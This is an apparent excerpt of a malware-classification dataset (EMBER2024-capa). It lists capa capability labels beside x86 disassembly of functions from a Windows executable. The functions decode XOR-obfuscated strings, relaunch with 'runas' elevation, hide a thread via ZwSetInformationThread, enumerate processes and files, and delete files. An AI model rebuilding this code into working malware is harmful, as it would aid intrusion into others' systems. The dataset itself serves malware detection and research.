joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401680
Capabilities:
Check if file exists
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov eax, 0x24
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x401711
mov esi, 0x40a0a8
mov ecx, eax
sub esi, eax
mov edi, 0x23
lea ebx, [ebx]
mov dl, byte [esi + ecx]
xor dl, 0x90
mov byte [ecx], dl
inc ecx
dec edi
jne 0x4016b0
mov byte [eax + 0x23], 0
xor edx, edx
cmp byte [edx + eax], 0x5c
jne 0x40170b
mov cl, byte [edx + eax + 1]
lea edi, [edx + eax + 1]
cmp cl, 0x5c
je 0x4016fe
cmp cl, 0x72
jne 0x4016e0
mov byte [edx + eax], 0xd
jmp 0x4016fe
cmp cl, 0x6e
jne 0x4016eb
mov byte [edx + eax], 0xa
jmp 0x4016fe
cmp cl, 0x74
jne 0x4016f6
mov byte [edx + eax], 9
jmp 0x4016fe
cmp cl, 0x22
jne 0x40170b
mov byte [edx + eax], cl
mov ecx, 0x23
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, 0x23
jb 0x4016c2
mov ebx, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push eax
call ebx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4017ea
mov eax, 0x24
call sub.ntdll.dll__alloca_probe
mov edx, esp
test edx, edx
je 0x4017c1
mov esi, 0x40a0cc
mov eax, edx
sub esi, edx
mov edi, 0x23
lea esp, [esp]
mov cl, byte [esi + eax]
xor cl, 0x91
mov byte [eax], cl
inc eax
dec edi
jne 0x401760
mov byte [edx + 0x23], 0
xor eax, eax
cmp byte [eax + edx], 0x5c
jne 0x4017bb
mov cl, byte [eax + edx + 1]
lea edi, [eax + edx + 1]
cmp cl, 0x5c
je 0x4017ae
cmp cl, 0x72
jne 0x401790
mov byte [eax + edx], 0xd
jmp 0x4017ae
cmp cl, 0x6e
jne 0x40179b
mov byte [eax + edx], 0xa
jmp 0x4017ae
cmp cl, 0x74
jne 0x4017a6
mov byte [eax + edx], 9
jmp 0x4017ae
cmp cl, 0x22
jne 0x4017bb
mov byte [eax + edx], cl
mov ecx, 0x23
sub ecx, eax
lea esi, [eax + edx + 2]
rep movsb byte es:[edi], byte [esi]
inc eax
cmp eax, 0x23
jb 0x401772
push 0x104
lea eax, [ebp - 0x104]
push eax
push edx
call ebx
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4017ea
call fcn.00402ca6
test eax, eax
jne 0x401807
mov edx, dword [0x42068c]
neg edx
sbb edx, edx
and edx, 0x4206a0
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.0040286a
push eax
call fcn.0040368e
lea esp, [ebp - 0x110]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401820
Capabilities:
Check os version
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push 0x11c
lea eax, [ebp - 0x158]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x158]
push ecx
mov dword [ebp - 0x158], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4018ba
cmp dword [ebp - 0x154], 6
jb 0x4018ba
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.00402cd6
cmp eax, 0x2000
jae 0x4018ba
call fcn.00401fb0
test eax, eax
jne 0x4018ba
push 6
push eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x4018ba
lea edx, [ebp - 0x3c]
push edx
call fcn.004022f0
test eax, eax
je 0x4018ac
lea esp, [esp]
lea esi, [ebp - 0x3c]
call fcn.004024b0
test eax, eax
je 0x4018a0
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x4018c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, 0xc
call sub.ntdll.dll__alloca_probe
mov esi, esp
mov dword [ebp - 4], esi
test esi, esi
je 0x4019b1
mov al, byte [0x40a0f0]
xor al, 0x94
mov byte [esi], al
movzx ecx, byte [0x40a0f1]
xor cl, 0x94
mov byte [esi + 1], cl
movzx edx, byte [0x40a0f2]
xor dl, 0x94
mov byte [esi + 2], dl
movzx ecx, byte [0x40a0f3]
lea eax, [esi + 1]
xor cl, 0x94
mov byte [esi + 3], cl
movzx edx, byte [0x40a0f4]
xor dl, 0x94
mov byte [esi + 4], dl
movzx ecx, byte [0x40a0f5]
xor cl, 0x94
mov byte [esi + 5], cl
movzx edx, byte [0x40a0f6]
xor dl, 0x94
mov byte [esi + 6], dl
movzx ecx, byte [0x40a0f7]
xor cl, 0x94
mov byte [esi + 7], cl
movzx edx, byte [0x40a0f8]
xor dl, 0x94
mov byte [esi + 8], dl
or edx, 0xffffffff
mov byte [esi + 9], 0
sub edx, esi
jmp 0x401960
cmp byte [eax - 1], 0x5c
jne 0x4019a8
mov cl, byte [eax]
cmp cl, 0x5c
je 0x401996
cmp cl, 0x72
jne 0x401978
mov byte [eax - 1], 0xd
jmp 0x401996
cmp cl, 0x6e
jne 0x401983
mov byte [eax - 1], 0xa
jmp 0x401996
cmp cl, 0x74
jne 0x40198e
mov byte [eax - 1], 9
jmp 0x401996
cmp cl, 0x22
jne 0x4019a8
mov byte [eax - 1], cl
mov ecx, 9
sub ecx, edx
sub ecx, eax
lea esi, [eax + 1]
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov esi, esp
inc eax
lea ecx, [edx + eax]
cmp ecx, 9
jb 0x401960
mov eax, 0xc
call sub.ntdll.dll__alloca_probe
mov ebx, esp
test ebx, ebx
je 0x401a33
mov edi, 0x40a0fc
mov eax, ebx
sub edi, ebx
mov ecx, 0xb
nop
mov dl, byte [edi + eax]
xor dl, 0x88
mov byte [eax], dl
inc eax
dec ecx
jne 0x4019d0
mov byte [ebx + 0xb], cl
xor eax, eax
cmp byte [eax + ebx], 0x5c
jne 0x401a2d
mov cl, byte [eax + ebx + 1]
lea edi, [eax + ebx + 1]
cmp cl, 0x5c
je 0x401a1d
cmp cl, 0x72
jne 0x4019ff
mov byte [eax + ebx], 0xd
jmp 0x401a1d
cmp cl, 0x6e
jne 0x401a0a
mov byte [eax + ebx], 0xa
jmp 0x401a1d
cmp cl, 0x74
jne 0x401a15
mov byte [eax + ebx], 9
jmp 0x401a1d
cmp cl, 0x22
jne 0x401a2d
mov byte [eax + ebx], cl
mov ecx, 0xb
sub ecx, eax
lea esi, [eax + ebx + 2]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 4]
inc eax
cmp eax, 0xb
jb 0x4019e1
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea esp, [esp]
push esi
call edi
test eax, eax
jne 0x401a4e
push ebx
call edi
test eax, eax
je 0x401a5b
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401a40
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4022f0
Capabilities:
Accept command line arguments
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x41c
push esi
push 0x3c
xor esi, esi
push esi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40249e
push 0x104
lea edx, [ebp - 0x210]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleBaseNameW]
test eax, eax
je 0x40249e
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ebx, ebx
test eax, eax
je 0x40246f
mov edx, 0x7fffffff
mov ecx, eax
xor edi, edi
cmp word [ecx], bx
je 0x402370
add ecx, 2
dec edx
jne 0x402363
jmp 0x402378
test edx, edx
jne 0x402463
mov edi, 0x80070057
xor esi, esi
mov ecx, edi
test edi, edi
jns 0x402387
xor esi, esi
test ecx, ecx
jne 0x4023b2
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrNIW]
push esi
lea ecx, [ebp - 0x210]
push ecx
push eax
call edi
test eax, eax
je 0x4023b2
push esi
push 0x405634
push eax
call edi
test eax, eax
je 0x4023b0
add eax, 2
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x4023c0
mov dword [ebp - 4], 0x405634
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x618
push 8
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402493
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x41c]
push eax
push 0x405638
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x20a
push 8
call ebx
push eax
call esi
mov esi, eax
test esi, esi
je 0x402479
push esi
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x402479
push 0x405664
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x402479
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x14], edi
pop edi
pop ebx
mov dword [ecx + 0x10], esi
mov eax, 1
mov dword [ecx], 0x3c
mov dword [ecx + 0xc], str.runas
mov dword [ecx + 0x1c], 0
mov dword [ecx + 4], 0x40
pop esi
mov esp, ebp
pop ebp
ret 4
mov esi, 0x7fffffff
sub esi, edx
jmp 0x40237f
mov ecx, 0x80070057
jmp 0x402385
push edi
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call edi
test esi, esi
je 0x402493
push esi
push 0
call ebx
push eax
call edi
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4024b0
Capabilities:
Create process on windows

Disassembly:
push edi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push esi
call edi
test eax, eax
jne 0x4024d6
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x4c7
jne 0x4024d5
push esi
call edi
test eax, eax
je 0x4024c5
pop ebx
mov eax, dword [esi + 0x38]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
test eax, eax
je 0x4024f4
mov ecx, dword [esi + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
ret
mov edx, dword [esi + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
ret
Function at 0x402504
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
push 4
xor ebx, ebx
pop edi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], edi
cmp dword [ebp + 8], esi
je 0x4025d0
cmp dword [ebp + 0xc], esi
je 0x4025d0
cmp dword [ebp + 0x10], esi
je 0x4025d0
push 0xf0000020
push 1
push esi
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4025b3
cmp dword [ebp - 8], esi
je 0x4025b3
lea eax, [ebp - 4]
push eax
push esi
push esi
push dword [ebp + 0x14]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x4025b3
cmp dword [ebp - 4], esi
je 0x4025c1
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4025b3
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
call edi
test eax, eax
je 0x4025b3
push esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
push 2
push dword [ebp - 4]
call edi
test eax, eax
je 0x4025b3
inc ebx
cmp dword [ebp - 4], esi
je 0x4025c1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [ebp - 8], esi
je 0x4025d0
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x10

Function at 0x4026c8
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push dword [esp + 0x20]
push edi
push edi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
cmp esi, edi
jne 0x40270e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x402720
push 0x1388
call ebp
push edi
push edi
push edi
push dword [esp + 0x20]
push edi
push edi
call ebx
mov esi, eax
cmp esi, edi
je 0x402720
push 4
push ebp
push 9
push esi
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
push esi
call fcn.004027d9
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x402729
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push esi
push edi
xor esi, esi
push 0x124
lea eax, [ebp - 0x128]
push esi
push eax
mov dword [ebp - 0x12c], esi
call sub.ntdll.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402765
xor eax, eax
jmp 0x4027d3
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402761
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x4027ab
push dword [ebp - 0x124]
push esi
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
jne 0x4027bf
lea eax, [ebp - 0x12c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402781
jmp 0x4027cb
push eax
call fcn.004027d9
mov esi, dword [ebp - 0x124]
push edi
call fcn.004027d9
mov eax, esi
pop edi
pop esi
leave
ret 4

Function at 0x40280f
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0xc
pop eax
xor edi, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402837
push 0x92
push 9
pop ebx
mov edx, 0x4096f0
call fcn.00403a50
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x40285e
mov ecx, dword [eax + 0x2c]
push dword [ebp + 8]
add ecx, esi
push ecx
mov ecx, dword [eax + 0x1c]
call fcn.00403b9d
mov edi, eax
mov eax, edi
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x402a81
Capabilities:
Access pe header
Enumerate files on windows
Get common file path
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x570
push ebx
push esi
push edi
xor edi, edi
push 0x13c
lea eax, [ebp - 0x150]
push edi
push eax
mov dword [ebp - 0x154], edi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x18
pop eax
mov dword [ebp - 0xc], edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
push 0x14
pop ebx
cmp esi, edi
je 0x402acf
push 0x88
mov eax, esi
mov edx, 0x4098f0
call fcn.00403a50
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, edi
je 0x402aef
push 0x8a
mov edx, 0x409904
call fcn.00403a50
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x402b11
push 0x87
push 5
mov eax, edi
pop ebx
mov edx, 0x40991c
call fcn.00403a50
call fcn.0040263c
test eax, eax
mov eax, dword [ebp - 8]
jne 0x402b1f
mov eax, esi
mov esi, 0x104
push esi
lea ecx, [ebp - 0x25c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x364]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test edi, edi
je 0x402b61
push edi
lea eax, [ebp - 0x25c]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
test edi, edi
je 0x402c7e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
test eax, eax
je 0x402c68
xor ebx, ebx
cmp dword [ebp - 8], ebx
jne 0x402c68
lea eax, [ebp - 0x128]
push eax
call fcn.00402729
test eax, eax
jne 0x402c68
and dword [ebp - 0x10], ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00402e08
mov esi, eax
test esi, esi
je 0x402c68
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x402be7
cmp word [eax + 0x5c], 2
sete bl
call fcn.00403b69
test ebx, ebx
je 0x402c68
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402c21
push 0x8e
push 9
pop ebx
mov edx, 0x409608
call fcn.00403a50
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00402e9f
test eax, eax
je 0x402c68
cmp dword [ebp + 8], 0
je 0x402c53
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x56c]
push 0x4073f4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x56c]
push eax
call fcn.00402fbe
test eax, eax
je 0x402c68
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.0040286a
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x402c7e
lea eax, [ebp - 0x154]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402b7f
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test edi, edi
je 0x402c96
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 0x57c]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402e08
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x402e8d
push 0x80000000
push dword [ebp + 8]
call fcn.00402db1
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x402e8d
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x402e81
call fcn.00403b1a
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, ebx
je 0x402e81
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x402e81
mov esi, edi
call fcn.00403b69
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.004027d9
mov esi, dword [ebp - 0xc]
pop edi
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x402e96
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8

Function at 0x402e9f
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x402fae
cmp dword [ebp + 0xc], ebx
je 0x402fae
push ebx
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
cmp esi, ebx
jne 0x402edd
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x402fae
call fcn.00403b1a
mov edi, eax
cmp edi, ebx
je 0x402fae
push edi
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x402fa7
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x402f22
push 0x91
push 0x1a
pop ebx
mov edx, 0x4098d0
call fcn.00403a50
xor ebx, ebx
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
call esi
test eax, eax
je 0x402fa7
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x402f58
push 0x97
push 0x27
pop ebx
mov edx, 0x4097dc
call fcn.00403a50
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 2]
movzx ecx, word [ecx]
push edx
push ecx
push eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x118]
push eax
push edi
call esi
test eax, eax
je 0x402fa7
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402fa7
mov dword [ebp - 4], 1
mov esi, edi
call fcn.00403b69
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x124]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4030a6
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x4030c6
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x4030c5
push edi
call esi
pop esi
ret
Function at 0x4032e6
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x208]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x403328
push 0x8b
push 0x12
pop ebx
mov edx, 0x409940
call fcn.00403a50
lea ecx, [ebp - 0x208]
push ecx
push eax
lea eax, [ebp - 0x104]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40335f
lea edi, [ebp - 0x104]
call fcn.004030a6
mov edi, eax
mov eax, edi
lea esp, [ebp - 0x214]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40336c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push edi
push 3
xor edi, edi
call fcn.00403c37
add eax, 3
push eax
call fcn.00403cc7
mov ebx, eax
cmp ebx, edi
je 0x403400
push esi
push 4
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], 0x1c
mov dword [ebp - 8], 0x1a
mov dword [ebp - 4], 0x28
call fcn.00403c37
mov eax, dword [ebp + eax*4 - 0x10]
lea ecx, [ebp - 0x114]
push ecx
push edi
push edi
or eax, 0x8000
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4033f8
mov esi, 0x104
call fcn.00403b1a
mov edi, eax
test edi, edi
je 0x4033f8
push edi
push 0xffffffffffffffff
call fcn.00403c37
push eax
push ebx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, ebx
call fcn.00403b69
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x403406
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp edi, ebx
je 0x4034a7
push edi
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4034a7
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x40344f
push 0x8b
push 2
mov eax, esi
pop ebx
mov edx, 0x4099ac
call fcn.00403a50
push 0xffffffffffffffff
call fcn.00403c37
push eax
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x40349c
push 0x83
push 4
pop ebx
mov edx, 0x40957c
call fcn.00403a50
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
xor esi, esi
inc esi
mov eax, esi
lea esp, [ebp - 0x10c]
pop esi
pop ebx
leave
ret
Function at 0x403540
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x228]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x403599
call ebx
cmp eax, 0x18
jne 0x403599
push dword [ebp + 8]
push edi
call esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x22c], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
jne 0x4035c6
call ebx
cmp eax, 0x12
je 0x403644
call ebx
jmp 0x403644
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
test eax, eax
je 0x4035e8
push 0x98
push 6
pop ebx
mov edx, 0x4095dc
call fcn.00403a50
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403609
push 0x81
push 4
mov eax, edi
pop ebx
mov edx, 0x409578
call fcn.00403a50
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call esi
test eax, eax
je 0x403627
push edi
push eax
call esi
test eax, eax
jne 0x40363d
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x40360f
jmp 0x403644
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0xffffffff
je 0x403652
push dword [ebp - 4]
call fcn.004027d9
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x238]
pop edi
pop esi
pop ebx
leave
ret 4